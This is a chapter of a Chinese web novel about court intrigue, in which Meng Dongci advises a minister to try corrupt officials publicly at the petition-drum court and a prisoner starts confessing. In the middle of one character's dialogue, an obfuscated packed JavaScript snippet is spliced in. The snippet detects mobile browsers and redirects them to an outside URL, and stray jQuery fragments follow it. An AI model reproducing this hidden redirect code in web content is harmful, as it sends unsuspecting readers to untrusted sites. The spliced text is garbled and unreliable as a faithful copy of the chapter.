71. 登闻鼓院
作品:《娘子判我朝全员该杀》 翌日一早,元珵才要动身去工部,一开门便见门口蹲着个人,吓了一跳。
“张怀?你怎么进的我院子?”
“见过殿下,”张怀俯身见礼,“殿下忘了,上回来殿下别院时,皇子妃叫下官往后过来,走西南角门,无需通禀。”
“还真忘了,”元珵摆手示意他别多礼,“有事?”
张怀越过元珵往门口看了一眼:“有事要请教皇子妃,她可起身了?”
因着昨日的事,元珵心情正好,看张怀也比往日顺眼,笑着给他指路:“娘子有时会贪睡,还真说不好起没起,张大人与我一道过去瞧瞧罢。”
眼见要转过连廊了,张怀才迟疑着问:“殿下与皇子妃……分院而居?”
元珵在心里给了自己一嘴巴,面上维持着体面:“这不我近日总是早起出门,怕搅扰了她。”
张怀笑着应是,在元珵看向他前,迅速隐去眼中怀疑。
他二人到了孟冬辞的院子,才转过照壁,便有什么东西直直朝他俩飞过来。
元珵反应快些,先闪身躲过,张怀躲不及,为防被砸出个好歹,本能地伸手一接。
接到手垂眼看时,被结结实实吓了一跳。
一颗……头?
准确的说,是一颗草人的头,裹着麻布,上边画着两只一上一下大小不一的眼睛。
元珵抬眼看向站在没头草人旁、手里还拎着个短剑的林融霜,本要发作,想起昨日的事,又换上个笑脸,问:“你都能在院里练武了,想来娘子是起了?”
林融霜被元珵不怀好意的笑惊出一身疹栗,走过去从张怀手里接过那颗头,想起孟冬辞叫她在外人面前多守规矩、以免露破绽的嘱咐,朝张怀欠了欠身:“张大人稍候,我去喊阿姐。”
会客厅内,张怀带来了一个不好不坏的消息。
刑部退出胡襄案后,御史台只遣人旁听。
案子由大理寺主审,无他人插手,到四日前止,此案细枝末节已经明了,胡襄供词经查证后,涉案官员名册已出。
大理寺照例传人前来调查,但好些心存侥幸者诡辩层出,整整三日无甚进展,张怀上禀皇帝后,皇帝却叫他自己看着办。
张怀‘明哲保身’惯了,很知道自己的斤两,他虽是大理寺卿,但资历不深,此案涉案之人不乏世家贵胄,那些人大半官品都在他之上,尚没有定罪,他一个大理寺卿,就算拿着鸡毛当利剑,可也杀不穿这些蠹虫。
皇帝这哪儿是懒得管,他分明是知道此事牵涉太广,那些人官官相护盘根错节,早已长成了一棵参天大树,若想连根拔起,必会致朝局动荡、国本不稳。
案子已经架在那儿,不查不行,草草结案更不行。
可这么大棵树,单凭张怀一人之力,只会被砸个头破血流。
谁种的因谁收结果,张怀只能找到孟冬辞这个‘始作俑者’这儿来。
一是他实在没法子,二,他也是想看看大煜无人不知的左相,会如何处置如此大规模的贪腐。
不想孟冬辞听他说罢,先是气定神闲地抿了口茶,然后说:“开鼓院,将胡襄带过去,再将所有与此事有牵连的官员都请到鼓院,与胡襄当面对质。”
张怀:“啊?”
他没太明白孟冬辞的意思,只能赔笑问:“鼓院是受民间冤案的,审官员贪腐案,怕是不合规矩。”
元珵插嘴道:“鼓院是给人喊冤的,不拘身份。”
“那不是正好?觉得胡襄为了脱罪胡乱攀咬的,可以直接出门去敲登闻鼓,”孟冬辞看了元珵一眼,眼里聚起笑意,“登闻鼓一响,大小冤案都会上达天听,届时,皇帝还能扔给你一句看着办么?
“况且,他们贪的,本不就是百姓的家底么?这冤情说到底,就是百姓的冤情。”
这话一出,张怀目瞪口呆。
他原以为孟冬辞会给出个周密详尽的计策,能叫他心服口服那种。
现下……
这法子,可以太直白、太容易了些。
他还真是心服口服……
看着张怀神情,孟冬辞又添上一句:“你将胡襄自大理寺往鼓院带的时候,要大张旗鼓,安排些人混在看热闹的百姓里,把鼓院审贪官一事传开了。
“另,既是鼓院审案,按洪辽律法,百姓可以旁听,但这是惯例,倒也不用特地说给皇帝知道。”
张怀:“啊?”
“我记得郑弘致给的名册上,鼓院判院事曾在御史台任职,”孟冬辞又看向元珵,“此事怕要劳烦殿下跑一趟,开鼓院之事,应由邱兆揾禀报皇帝才好。”
元珵正盯着孟冬辞发愣,好不容易回神,连连应好。
“另有一事,”张怀又说,“有一日审胡襄,我身边人去调档案,只剩下我与他时,他叫我问殿下与皇子妃,除去案中本身牵涉的人,还有谁要牵连?”
孟冬辞闻言,将手中茶盏不轻不重地搁下,没有回答。
张怀本已想投效孟冬辞,是想着她心属元珵,会尽心帮扶,可今日见着元珵与她分院而寝,元珵又刻意遮掩,不免心生疑窦。
他不是没瞧出孟冬辞的警告,却仍迟疑着问:“胡襄……也是皇子妃的人么?若是,鼓院一开,最先定罪的就是他,届时无论是下官还是御史台,都保不住他。”
孟冬辞看向他:“我与胡襄,只那日大理寺中见过一面。
“况且,胡襄自一开始就没想活。”
张怀点头,仍问:“那皇子妃可还有别的人要一并收拾?我记下,赶在鼓院开前去说给胡襄,也好……”
“张大人,”孟冬辞开口打断他,“我一直以为,用人不疑之说早已是陈词滥调。”
她神情未变,甚至眼含笑意,但这短短一句,张怀捏着茶盏的手便不自觉收紧。
孟冬辞拎过小壶站起身,往张怀的茶盏里斟茶,垂眼笑道:“但今日,张大人已是第二次试我了。”
语气带笑,声音也是轻缓的,但张怀还是不由自主地哆嗦了一下,他不敢再坐,站起身垂首站着,想了想,又深深一揖:“下官失礼。”
“我不是你们洪辽朝臣,更没闲情站上你们洪辽朝堂,当不起你这声下官,”孟冬辞抬手虚扶张怀一把,复又坐回自己位置上,“但我在大煜科考做官,位至左相,手下没出过一桩冤案。
“查贪,自然是谁贪了查谁,此案牵涉了谁,我只要听个结果,张大人明白了么?”
张怀连连应是。
“娘子,”一旁的元珵伸手牵住孟冬辞的手,还顺带剜了张怀一眼,添乱道,“娘子莫气,待我将他拖出去打一顿。”
张怀赔笑:“该的,该的,多谢殿下。”
元珵偏头睨了他一眼:“我是真想打你,不是给你解围。”
张怀:“?”
待元珵和张怀出了会客厅,林融霜才一步三回头地进来。
孟冬辞见她面有疑色,问:“怎么了这是?”
林融霜拧起眉:“阿姐,不对劲。”
“什么不对劲?”
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16209145|177700||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
元珵啊,他今日见着我就一直笑嘻嘻的,”林融霜在自己喉咙处比划了一下,“阿姐知道罢,往常他见了我,可都是一副恨不能掐死我的模样。”
孟冬辞抿唇压住笑,一本正经地答:“他大抵很想谢你。”
林融霜:“啊?”
“许是他今日心情好罢,”孟冬辞不欲多说,挽着林融霜在她身侧坐下,“管他是笑是不笑,你少理他就是了。”
林融霜仍不信:“我是觉得他像是心虚,阿姐,他昨日跟你说宫里的事了么?这傻子真的没露破绽么?”
“说过了,都在咱们先前划好的圈子里,”孟冬辞说罢,又补上一句,“他可不傻。”
“他不傻么?”
孟冬辞朝林融霜笑笑,目光投向元珵离开的方向。
昨日那一场闹过之后,她走前,元珵又叫住了她,与她说:“那些筹划,娘子不是问我知道了多少么?”
孟冬辞回头看他。
“当初塞进盛奎衣裳里送进大理寺的罪证、蜜糖斋你题字的匾额、自虞市传出的谣言……”元珵牵了牵嘴角,“我现下已经想出了门路,知道那些都是娘子给自己留的退路。
“但其实,你可以把我也当成你的退路。”
昨晚房门未掩,晚风推着小几上烛火摇曳,室内光影流转,可孟冬辞在元珵眼里找遍了,也没找见丝毫的犹疑。
她最初动过的心思,元珵是早猜到了。
他的那句‘奉你为君’,自始至终都不是一句玩笑话。
孟冬辞偏过头,答林融霜:“他被困在别院多年,没正经在学堂读过书,只有个瞧不上他的老夫子逗他玩儿,可他却能过了咱们大煜的解试,怎会是真傻?”
他只是信她,信到身家性命、前途江山,都能毫不犹豫地交进她手里。
*
元珵和张怀分别按孟冬辞的意思去办差,待到未时中,鼓院门大开。
胡襄被安置在一驾数根木头钉出的简陋囚车里,一路从大理寺绕了几条街,才慢悠悠行至鼓院。
外头堆满了抻着脖子看热闹的百姓,鼓院的差吏却并不赶人,由着下头私语声渐盛。
鼓院内,主位上坐着判院事丁文宣,张怀和邱兆揾坐在他左右下手。
丁文宣左右各看一眼,咽了口唾沫给自己壮胆子,这才吩咐道:“将人带上来。”
胡襄脚上拴着腕子粗的铁链,由两个小吏一左一右架上来,被压着跪下,膝盖与地面撞出“咚”一声闷响。
“胡襄,”丁文宣看了眼邱兆揾的眼色,开口问,“你所犯之罪实在太多,想先从哪件说起?”
胡襄虽跪着,但脊背仍挺得笔直,他看了张怀一眼,笑道:“就先从大理寺少卿邓承贤之死说起罢。
“邓承贤中了探花之后,陛下本想让他下放匯泞做个县官,是我数次上折说他人品贵重,实为良才,所以他才破例得了右治狱少卿一职。
“旨意下后,也是我授意下边人将他的告词压于吏部不许下放,其实我的本意是要向他收些金银,但他是个下头乡县考上来的穷小子,拿不出我要的数目,自然做不成官。
“吏部事忙,一来二去的,我便将他忘了,直到赵千石和兆余出事,上头有人授意叫我将此事摆平,我才想起还有这么个人……”
“等等,”邱兆揾打断胡襄,问,“你说的上头人,是谁?”
“传话的是大殿下身边的总管盛奎,”胡襄看向邱兆揾,又转向丁文宣,说,“但指使盛奎的,是右相瞿众。”